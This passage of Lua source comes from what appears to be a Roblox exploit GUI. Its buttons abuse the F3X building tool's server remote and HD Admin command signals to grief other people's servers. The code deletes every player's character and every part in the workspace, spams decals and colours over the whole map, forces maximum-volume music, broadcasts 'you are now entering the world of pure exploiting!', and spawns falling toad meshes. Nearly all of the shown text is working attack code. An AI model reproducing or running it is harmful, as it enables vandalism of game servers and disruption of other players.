poopyshitMaterial(endpoint, transparencypoopyshit)
local reflectancepoopyshit = {}
poopyshitMaterial(endpoint, reflectancepoopyshit)
local colorpoopyshit = {}
if P[7] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[7], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[8] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[8], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[9] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[9], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[10] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[10], Color = Color3.new(0.7372549176216125,0.6078431606292725,0.364705890417099), UnionColoring = false} end
if P[13] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[13], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[14] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[14], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[15] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[15], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[16] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[16], Color = Color3.new(0.7372549176216125,0.6078431606292725,0.364705890417099), UnionColoring = false} end
if P[18] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[18], Color = Color3.new(0.5490196347236633,0.35686275362968445,0.6235294342041016), UnionColoring = false} end
if P[20] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[20], Color = Color3.new(0.45490196347236633,0.5254902243614197,0.615686297416687), UnionColoring = false} end
if P[22] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[22], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[24] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[24], Color = Color3.new(0.5490196347236633,0.35686275362968445,0.6235294342041016), UnionColoring = false} end
if P[26] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[26], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[28] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[28], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[29] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[29], Color = Color3.new(0.45490196347236633,0.5254902243614197,0.615686297416687), UnionColoring = false} end
if P[31] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[31], Color = Color3.new(0,1,0), UnionColoring = false} end
if P[32] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[32], Color = Color3.new(0.32156863808631897,0.48627451062202454,0.6823529601097107), UnionColoring = false} end
if P[58] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[58], Color = Color3.new(0.45490196347236633,0.5254902243614197,0.615686297416687), UnionColoring = false} end
if P[40] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[40], Color = Color3.new(0.6392157077789307,0.29411765933036804,0.29411765933036804), UnionColoring = false} end
if P[56] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[56], Color = Color3.new(0.32156863808631897,0.48627451062202454,0.6823529601097107), UnionColoring = false} end
if P[44] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[44], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[39] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[39], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[36] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[36], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[53] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[53], Color = Color3.new(0.6392157077789307,0.29411765933036804,0.29411765933036804), UnionColoring = false} end
if P[45] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[45], Color = Color3.new(0.6392157077789307,0.29411765933036804,0.29411765933036804), UnionColoring = false} end
if P[42] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[42], Color = Color3.new(0.5490196347236633,0.35686275362968445,0.6235294342041016), UnionColoring = false} end
if P[51] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[51], Color = Color3.new(0.6392157077789307,0.29411765933036804,0.29411765933036804), UnionColoring = false} end
if P[49] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[49], Color = Color3.new(0.5490196347236633,0.35686275362968445,0.6235294342041016), UnionColoring = false} end
if P[47] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[47], Color = Color3.new(0.45490196347236633,0.5254902243614197,0.615686297416687), UnionColoring = false} end
if P[34] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[34], Color = Color3.new(0.32156863808631897,0.48627451062202454,0.6823529601097107), UnionColoring = false} end
if P[55] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[55], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[37] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[37], Color = Color3.new(0.32156863808631897,0.48627451062202454,0.6823529601097107), UnionColoring = false} end
poopyshitColor(endpoint, colorpoopyshit)
local collisionpoopyshit = {}
if P[7] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[7], CanCollide = true} end
if P[8] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[8], CanCollide = true} end
if P[9] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[9], CanCollide = true} end
if P[10] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[10], CanCollide = true} end
if P[13] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[13], CanCollide = true} end
if P[14] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[14], CanCollide = true} end
if P[15] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[15], CanCollide = true} end
if P[16] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[16], CanCollide = true} end
if P[18] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[18], CanCollide = true} end
if P[20] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[20], CanCollide = true} end
if P[22] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[22], CanCollide = true} end
if P[24] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[24], CanCollide = true} end
if P[26] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[26], CanCollide = true} end
if P[28] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[28], CanCollide = true} end
if P[29] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[29], CanCollide = true} end
if P[31] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[31], CanCollide = true} end
if P[32] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[32], CanCollide = true} end
if P[58] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[58], CanCollide = true} end
if P[40] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[40], CanCollide = true} end
if P[56] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[56], CanCollide = true} end
if P[44] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[44], CanCollide = true} end
if P[39] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[39], CanCollide = true} end
if P[36] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[36], CanCollide = true} end
if P[53] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[53], CanCollide = true} end
if P[45] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[45], CanCollide = true} end
if P[42] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[42], CanCollide = true} end
if P[51] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[51], CanCollide = true} end
if P[49] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[49], CanCollide = true} end
if P[47] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[47], CanCollide = true} end
if P[34] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[34], CanCollide = true} end
if P[55] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[55], CanCollide = true} end
if P[37] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[37], CanCollide = true} end
poopyshitCollision(endpoint, collisionpoopyshit)
local lockTasks, nameTasks = {}, {}
if P[18] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[18], "Prayer Mat") end) end
if P[20] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[20], "Prayer Mat") end) end
if P[22] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[22], "SpawnLocation") end) end
if P[24] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[24], "Prayer Mat") end) end
if P[28] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[28], "MeshPart") end) end
if P[29] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[29], "Prayer Mat") end) end
if P[31] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[31], true) end) end
if P[31] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[31], "Baseplate") end) end
if P[32] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[32], "Prayer Mat") end) end
if P[58] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[58], "Prayer Mat") end) end
if P[40] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[40], "Prayer Mat") end) end
if P[56] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[56], "Prayer Mat") end) end
if P[44] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[44], "MeshPart") end) end
if P[39] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[39], "MeshPart") end) end
if P[36] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[36], "MeshPart") end) end
if P[53] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[53], "Prayer Mat") end) end
if P[45] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[45], "Prayer Mat") end) end
if P[42] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[42], "Prayer Mat") end) end
if P[51] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[51], "Prayer Mat") end) end
if P[49] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[49], "Prayer Mat") end) end
if P[47] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[47], "Prayer Mat") end) end
if P[34] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[34], "Prayer Mat") end) end
if P[55] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[55], "MeshPart") end) end
if P[37] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[37], "Prayer Mat") end) end
task.wait(0.2)
if P[28] then
task.spawn(function()
createMesh(endpoint, P[28])
task.wait(0.2)
syncMesh(endpoint, P[28], "rbxassetid://80644101452508", "rbxassetid://75676476820407", Vector3.new(1,1,1), Vector3.new(0,0,0))
end)
end
if P[36] then
task.spawn(function()
createMesh(endpoint, P[36])
task.wait(0.2)
syncMesh(endpoint, P[36], "rbxassetid://12784458519", "rbxassetid://12784458697", Vector3.new(1,1,1), Vector3.new(0,0,0))
end)
end
if P[39] then
task.spawn(function()
createMesh(endpoint, P[39])
task.wait(0.2)
syncMesh(endpoint, P[39], "rbxassetid://98336125892173", "rbxassetid://118139167470142", Vector3.new(1,1,1), Vector3.new(0,0,0))
end)
end
if P[44] then
task.spawn(function()
createMesh(endpoint, P[44])
task.wait(0.2)
syncMesh(endpoint, P[44], "rbxassetid://105176227833763", "rbxassetid://88086211678789", Vector3.new(1,1,1), Vector3.new(0,0,0))
end)
end
if P[55] then
task.spawn(function()
createMesh(endpoint, P[55])
task.wait(0.2)
syncMesh(endpoint, P[55], "rbxassetid://12784458519", "rbxassetid://12784458697", Vector3.new(1,1,1), Vector3.new(0,0,0))
end)
end
task.wait(0.5)
if P[18] then
task.spawn(function()
createDecal(endpoint, P[18], Enum.NormalId.Top)
setDecalTexture(endpoint, P[18], "http://www.roblox.com/asset/?id=355925304", Enum.NormalId.Top)
end)
end
if P[20] then
task.spawn(function()
createDecal(endpoint, P[20], Enum.NormalId.Top)
setDecalTexture(endpoint, P[20], "http://www.roblox.com/asset/?id=258160448", Enum.NormalId.Top)
end)
end
if P[22] then
task.spawn(function()
createDecal(endpoint, P[22], Enum.NormalId.Top)
setDecalTexture(endpoint, P[22], "rbxasset://textures/SpawnLocation.png", Enum.NormalId.Top)
end)
end
if P[24] then
task.spawn(function()
createDecal(endpoint, P[24], Enum.NormalId.Top)
setDecalTexture(endpoint, P[24], "http://www.roblox.com/asset/?id=355925304", Enum.NormalId.Top)
end)
end
if P[26] then
task.spawn(function()
createDecal(endpoint, P[26], Enum.NormalId.Front)
setDecalTexture(endpoint, P[26], "rbxassetid://77642796751043", Enum.NormalId.Front)
end)
end
if P[29] then
task.spawn(function()
createDecal(endpoint, P[29], Enum.NormalId.Top)
setDecalTexture(endpoint, P[29], "http://www.roblox.com/asset/?id=258160448", Enum.NormalId.Top)
end)
end
if P[32] then
task.spawn(function()
createDecal(endpoint, P[32], Enum.NormalId.Top)
setDecalTexture(endpoint, P[32], "http://www.roblox.com/asset/?id=355925586", Enum.NormalId.Top)
end)
end
if P[34] then
task.spawn(function()
createDecal(endpoint, P[34], Enum.NormalId.Top)
setDecalTexture(endpoint, P[34], "http://www.roblox.com/asset/?id=355925586", Enum.NormalId.Top)
end)
end
if P[37] then
task.spawn(function()
createDecal(endpoint, P[37], Enum.NormalId.Top)
setDecalTexture(endpoint, P[37], "http://www.roblox.com/asset/?id=355925586", Enum.NormalId.Top)
end)
end
if P[40] then
task.spawn(function()
createDecal(endpoint, P[40], Enum.NormalId.Top)
setDecalTexture(endpoint, P[40], "http://www.roblox.com/asset/?id=355925831", Enum.NormalId.Top)
end)
end
if P[42] then
task.spawn(function()
createDecal(endpoint, P[42], Enum.NormalId.Top)
setDecalTexture(endpoint, P[42], "http://www.roblox.com/asset/?id=355925304", Enum.NormalId.Top)
end)
end
if P[45] then
task.spawn(function()
createDecal(endpoint, P[45], Enum.NormalId.Top)
setDecalTexture(endpoint, P[45], "http://www.roblox.com/asset/?id=355925831", Enum.NormalId.Top)
end)
end
if P[47] then
task.spawn(function()
createDecal(endpoint, P[47], Enum.NormalId.Top)
setDecalTexture(endpoint, P[47], "http://www.roblox.com/asset/?id=258160448", Enum.NormalId.Top)
end)
end
if P[49] then
task.spawn(function()
createDecal(endpoint, P[49], Enum.NormalId.Top)
setDecalTexture(endpoint, P[49], "http://www.roblox.com/asset/?id=355925304", Enum.NormalId.Top)
end)
end
if P[51] then
task.spawn(function()
createDecal(endpoint, P[51], Enum.NormalId.Top)
setDecalTexture(endpoint, P[51], "http://www.roblox.com/asset/?id=355925831", Enum.NormalId.Top)
end)
end
if P[53] then
task.spawn(function()
createDecal(endpoint, P[53], Enum.NormalId.Top)
setDecalTexture(endpoint, P[53], "http://www.roblox.com/asset/?id=355925831", Enum.NormalId.Top)
end)
end
if P[56] then
task.spawn(function()
createDecal(endpoint, P[56], Enum.NormalId.Top)
setDecalTexture(endpoint, P[56], "http://www.roblox.com/asset/?id=355925586", Enum.NormalId.Top)
end)
end
if P[58] then
task.spawn(function()
createDecal(endpoint, P[58], Enum.NormalId.Top)
setDecalTexture(endpoint, P[58], "http://www.roblox.com/asset/?id=258160448", Enum.NormalId.Top)
end)
end
task.wait(0.3)
local G = {}
task.spawn(function()
G[6] = createGroup(endpoint, "Model", workspace, {7,8,9})
end)
task.spawn(function()
G[11] = createGroup(endpoint, "Model", workspace, {16})
setName(endpoint, G[11], "Hangman")
end)
task.spawn(function()
G[5] = createGroup(endpoint, "Model", workspace, {10})
setName(endpoint, G[5], "Hangman")
end)
task.spawn(function()
G[12] = createGroup(endpoint, "Model", workspace, {13,14,15})
end)
task.wait(0.3)
RequestCommand:InvokeServer(";res all")
task.wait(0.2)
RequestCommand:InvokeServer(";music 9069609200 ;volume inf")
task.wait(8)
RequestCommand:InvokeServer(";music 1839246711 ;pitch 1.2 ;volume inf")
task.wait(0.4)
RequestCommand:InvokeServer(";serverMessage you are now entering the world of pure exploiting!")
end)
end;
task.spawn(C_1c);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_1e()
local script = G2L["1e"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";sm get toadroasted")
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function Punish(player)
char = player.Character
DestroyPart(char)
end
for i,v in game.Players:GetPlayers() do
--zzspawn(function()
pcall(function()
Punish(v)
end)
--end)
end
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function Sky(id)
local hrp = char:WaitForChild("HumanoidRootPart")
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
SetAnchor(true, v)
AddMesh(v)
SetMesh(v, "111891702759441")
SetTexture(v, id)
MeshResize(v, Vector3.new(8000, 8000, 8000))
end
end
end
local function createRainToads()
while true do
wait(0.3) -- Here they change the appearance time of the Toads or other meshes
if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
local hrpcf = player.Character.HumanoidRootPart.CFrame
local x = hrpcf.x
local z = hrpcf.z
local randint = math.random(-600, 600)
local randint2 = math.random(-600, 600)
local xloc = randint + x
local zloc = randint2 + z
local cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
for i, v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v, "MiniToad") -- Here the name of the toad changes
SetAnchor(false, v)
AddMesh(v)
Resize(v, Vector3.new(100, 100, 100), v.CFrame)
MeshResize(v, Vector3.new(4, 4, 4))
SetMesh(v, "5038530279") -- Here put it A custom mesh
SetTexture(v, "5038530309") -- X2
SetCollision(v, false)
v.Orientation = Vector3.new(0, 0, 0)
v.CFrame = v.CFrame + Vector3.new(0, 0, 0)
local sound = Instance.new("Sound", v)
sound.SoundId = "rbxassetid://153752123"
sound.Volume = 10
sound.PlayOnRemove = true
sound:Destroy()
end
end
end)
else
wait(1)
end
end
end
coroutine.wrap(createRainToads)()
Sky("201208408")
end)
end;
task.spawn(C_1e);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_20()
local script = G2L["20"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";punish all")
wait(0.1)
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function delete(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function deleteall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
delete(v)
end)
end
end
end
deleteall()
end)
end;
task.spawn(C_20);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_22()
local script = G2L["22"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";gear me 33866846")
end)
end;
task.spawn(C_22);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_24()
local script = G2L["24"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function name(part, stringa)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringa
}
serverendpoint:InvokeServer(unpack(args))
end
local function lock(part, boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
serverendpoint:InvokeServer(unpack(args))
end
-- main func
local function createdecal(part, side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setdecal(part, asset, side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function color(part, color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function addfire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncfire(part, size, heat)
local args = {
[1] = "SyncDecorate",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire",
["Size"] = 30,
["Heat"] = 35
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function addlight(part, brightness)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "PointLight"
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function synclight(part, brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "PointLight",
["Brightness"] = brightness,
["Color"] = Color3.new(1, 0, 0)
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setcollision(part, booleana)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = booleana
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function decalspam()
local decalid = "96757457442198"
for _, v in ipairs(workspace:GetDescendants()) do
if v.Name == "Sky" then
print("no")
elseif v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
createdecal(v, Enum.NormalId.Front)
createdecal(v, Enum.NormalId.Back)
createdecal(v, Enum.NormalId.Left)
createdecal(v, Enum.NormalId.Right)
createdecal(v, Enum.NormalId.Bottom)
createdecal(v, Enum.NormalId.Top)
setdecal(v, decalid, Enum.NormalId.Front)
setdecal(v, decalid, Enum.NormalId.Back)
setdecal(v, decalid, Enum.NormalId.Left)
setdecal(v, decalid, Enum.NormalId.Right)
setdecal(v, decalid, Enum.NormalId.Bottom)
setdecal(v, decalid, Enum.NormalId.Top)
end)
end
end
end
local function lightall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
addlight(v)
synclight(v, 15)
end)
end
end
end
local function colorall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
color(v, Color3.new(0.0666667, 0.0666667, 0.0666667))
end)
end
end
end
local function sky666()
spawn(function()
local position = char.Head.Position
local part = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(position + Vector3.new(0, 2, 0)), workspace)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
serverendpoint:InvokeServer(unpack(args))
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://8006679977"
}
}
}
serverendpoint:InvokeServer(unpack(args))
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = Vector3.new(90, 90, 90)
}
}
}
serverendpoint:InvokeServer(unpack(args))
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://15849970412"
}
}
}
